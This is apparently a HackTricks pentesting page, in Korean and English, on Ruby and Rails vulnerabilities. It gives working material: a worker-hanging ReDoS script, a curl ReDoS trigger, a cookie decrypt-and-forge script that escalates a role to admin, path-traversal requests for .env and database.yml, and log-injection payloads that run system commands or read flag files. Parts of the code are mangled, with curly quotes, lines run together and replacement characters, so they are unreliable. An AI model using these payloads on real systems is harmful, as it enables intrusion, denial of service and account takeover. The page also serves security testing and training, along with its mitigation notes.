Ruby 트릭
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
File upload to RCE
As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.
팁:
config/initializers/처럼 앱 시작 시 실행되는 다른 부트/이거로드 위치도 쓰기 가능하면 위험합니다. arbitrary file upload가config/아래 아무 위치에나 올라가고 나중에 평가되거나 require되면 부팅 시 RCE를 획득할 수 있습니다.- Rails가 부팅 시 로드하는 파일을 컨테이너 이미지로 복사하는 dev/staging 빌드를 찾아보세요.
Active Storage image transformation → command execution (CVE-2025-24293)
When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- A vulnerable pattern looks like:
<%= image_tag blob.variant(params[:t] => params[:v]) %>
where params[:t] and/or params[:v] are attacker-controlled.
-
테스트 시 시도할 것
-
variant/processing 옵션, transformation 이름, 또는 임의의 ImageMagick 인수를 받는 엔드포인트를 식별하세요.
-
params[:t]와params[:v]를 fuzzing 해 의심스러운 오류나 실행 부작용을 확인하세요. 메서드 이름을 조작하거나 MiniMagick에 도달하는 raw 인수를 전달할 수 있으면 이미지 프로세서 호스트에서 코드 실행을 얻을 수 있습니다. -
생성된 variant에 대한 읽기 권한만 있는 경우, 조작된 ImageMagick 작업으로 blind exfiltration을 시도해 보세요.
-
수정/탐지
-
Active Storage +
image_processing+mini_magick를 사용하고 사용자 제어 변환이 있는 Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1은 exploitable하다고 간주하세요. 업그레이드하고 메서드/파라미터에 대한 엄격한 allowlist와 강화된 ImageMagick policy 적용을 권고합니다.
Rack::Static LFI / path traversal (CVE-2025-27610)
If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.
config.ru나 미들웨어 스택에Rack::Static을 마운트한 앱을 찾아보세요. static 경로에 대해 인코딩된 traversal을 시도해 보세요. 예:
GET /assets/%2e%2e/%2e%2e/config/database.yml
GET /favicon.ico/..%2f..%2f.env
prefix를 설정된 urls:에 맞게 조정하세요. 앱이 파일 내용을 반환하면, 해결된 :root 아래의 모든 항목에 대해 LFI를 가진 것입니다.
- 완화: Rack을 업그레이드하고
:root가 public 파일 디렉터리만 가리키도록 명시적으로 설정하세요.
Rack multipart parser ReDoS / request smuggling (CVE-2024-25126)
Rack < 3.0.9.1 and < 2.2.8.1 spent super-linear time parsing crafted Content-Type: multipart/form-data headers. A single POST with a gigantic A= parameter list can peg a Puma/Unicorn worker and cause DoS or request queue starvation.
- Quick PoC (will hang one worker):
python - <<'PY'
import requests
h = {'Content-Type': 'multipart/form-data; ' + 'A='*5000}
requests.post('http://target/', data='x', headers=h)
PY
- Rails/Sinatra/Hanami/Grape 등 모든 Rack 기반 스택에 대해 작동합니다. nginx/haproxy로 프론트되어 있고 keep-alive가 활성화되어 있으면 병렬로 반복해 워커를 고갈시킬 수 있습니다.
- 패치는 파서를 선형 시간으로 수정합니다;
rackgem 버전 <3.0.9.1또는 <2.2.8.1을 찾으세요. 평가 시 WAF는 이 헤더가 문법적으로 유효하기 때문에 이를 차단하지 않는 경우가 많음을 지적하세요.
REXML XML parser ReDoS (CVE-2024-49761)
The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., �x41;). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.
Minimal trigger against a Rails endpoint that parses XML:
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>�x41;</r>'
프로세스가 몇 초 동안 바쁘게 유지되고 워커 CPU가 급증하면 취약할 가능성이 높습니다. 공격은 저대역폭이며 XML을 수집하는 백그라운드 작업에도 영향을 줍니다.
CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220)
Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:
CGI::Cookie.parse는 초선형적이었고; 수천 개의 구분자를 가진 거대한 cookie 문자열이 O(N²) 동작을 유발했습니다.CGI::Util#escapeElement정규식은 HTML escaping에서 ReDoS를 허용했습니다.
Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.
Basecamp googlesign_in open redirect / cookie flash leak (CVE-2025-57821)
The googlesign_in gem < 1.3.0 (used for Google OAuth on Rails) performed an incomplete same-origin check on the proceedto parameter. A malformed URL like proceedto=//attacker.com/%2F.. bypasses the check and redirects the user off-site while preserving Rails flash/session cookies.
Exploit flow:
- 피해자가 공격자가 호스팅한 조작된 Google Sign-In 링크를 클릭한다.
- 인증 후, gem은 공격자 제어 도메인으로 리다이렉트하고 flash notices 또는 와일드카드 도메인 범위에 있는 cookies에 저장된 모든 데이터를 leak합니다.
- 앱이 flash에 단기 토큰이나 magic links를 저장하는 경우, 이것은 account takeover로 이어질 수 있습니다.
During testing, grep Gemfile.lock for googlesign_in < 1.3.0 and try malformed proceedto values. Confirm via Location header and cookie reflection.
Forging/decrypting Rails cookies when secret_key_base is leaked
Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):
Ruby to decrypt/forge cookies
```ruby require 'cgi' require 'json' require 'active_support' require 'active_support/message_encryptor' require 'active_support/key_generator'secret_key_base = ENV.fetch(‘SECRET_KEY_BASE_LEAKED’) raw_cookie = CGI.unescape(ARGV[0])
salt = ‘authenticated encrypted cookie’ cipher = ‘aes-256-gcm’ key_len = ActiveSupport::MessageEncryptor.key_len(cipher) secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
plain = enc.decrypt_and_verify(raw_cookie) puts “Decrypted: #{plain.inspect}”
Modify and re-encrypt (example: escalate role)
plain[‘role’] = ‘admin’ if plain.is_a?(Hash) forged = enc.encrypt_and_sign(plain) puts “Forged cookie: #{CGI.escape(forged)}”
</details>
노트:
- Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly.
- On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.
## 참고 (Ruby/Rails-specific vulns)
- Ruby deserialization and class pollution:
<a class="content_ref" href="../../pentesting-web/deserialization/index.html"><span class="content_ref_label">Deserialization</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-class-pollution.md"><span class="content_ref_label">Ruby Class Pollution</span></a>
<a class="content_ref" href="../../pentesting-web/deserialization/ruby-_json-pollution.md"><span class="content_ref_label">Ruby Json Pollution</span></a>
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
<a class="content_ref" href="../../pentesting-web/ssti-server-side-template-injection/index.html"><span class="content_ref_label">SSTI (Server Side Template Injection)</span></a>
## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
앱이 (종종 간단한 Rack/Sinatra/Rails 엔드포인트) 다음 둘을 모두 수행하면:
- 사용자 제어 문자열을 있는 그대로 로그에 기록하고,
- 이후 동일한 문자열에서 파생된 경로를 사용해 파일을 `load` 한다(`Pathname#cleanpath` 이후),
로그를 오염시킨 뒤 앱이 로그 파일을 `load` 하도록 유도하면 종종 remote code execution을 달성할 수 있습니다. 핵심 요소:
- Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
- `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).
### 최소 취약 패턴
```ruby
require 'logger'
require 'pathname'
logger = Logger.new('logs/error.log')
param = CGI.unescape(params[:script])
path_obj = Pathname.new(param)
logger.info("Running backup script #{param}") # Raw log of user input
load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath
로그에 유효한 Ruby가 포함될 수 있는 이유
Logger는 다음과 같은 접두사 라인을 씁니다:
I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT>
Ruby에서는 #가 주석을 시작하고 9/2/2025는 단지 산술 연산입니다. 유효한 Ruby 코드를 주입하려면 다음을 해야 합니다:
- 페이로드를 새 줄에서 시작하여 INFO 라인의
#에 의해 주석 처리되지 않도록 하세요; 선행 개행 문자(\n또는%0A)를 전송하세요. - INFO 라인에서 도입된 늘 열린
[를 닫으세요. 일반적인 트릭은]로 시작하고 선택적으로 파서를 만족시키기 위해][0]=1을 붙이는 것입니다. - 그다음 임의의 Ruby 코드를 넣으세요(예:
system(...)).
다음은 조작된 파라미터로 한 번 요청한 뒤 로그에 남게 될 예시입니다:
I, [9/2/2025 #209384] INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
하나의 문자열로 코드가 로깅되면서 동시에 로그 경로로 해석되게 만들기
공격자가 제어하는 단일 문자열을 원한다. 이 문자열은:
- 원시로 로깅될 때 우리 Ruby payload를 포함하고,
Pathname.new(<input>).cleanpath를 거치면../logs/error.log로 해석되어 이후load가 방금 오염된 로그 파일을 실행하도록.
Pathname#cleanpath는 스킴을 무시하고 트래버설 컴포넌트를 축소하므로, 다음이 작동한다:
require 'pathname'
p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath # => ../logs/error.log
://앞의#는 로그가 실행될 때 Ruby가 꼬리 부분을 무시하도록 하며, 반면cleanpath는 접미사를 여전히../logs/error.log로 축소합니다.- 선행 줄바꿈은 INFO 라인에서 빠져나오게 하고;
]는 늘어진 대괄호를 닫으며;][0]=1은 파서를 만족시킵니다.
End-to-end exploitation
- Send the following as the backup script name (URL-encode the first newline as
%0Aif needed):
\n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
- The app logs your raw string into
logs/error.log. - The app computes
cleanpathwhich resolves to../logs/error.logand callsloadon it. - Ruby executes the code you injected in the log.
To exfiltrate a file in a CTF-like environment:
\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
URL-encoded PoC (첫 문자는 줄바꿈 문자입니다):
%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
참고 자료
- Rails 보안 발표: CVE-2025-24293 Active Storage 안전하지 않은 변환 메서드 (7.1.5.2 / 7.2.2.2 / 8.0.2.1에서 수정됨)
- GitHub 권고: Rack::Static 로컬 파일 포함 (CVE-2025-27610)
- Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)
- Ruby Pathname.cleanpath 문서
- Ruby Logger
- Ruby load의 작동 방식
- Rack multipart ReDoS 권고 (CVE-2024-25126)
- CGI / URI에 대한 Ruby 보안 권고 (CVE-2025-27219/27220/27221)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


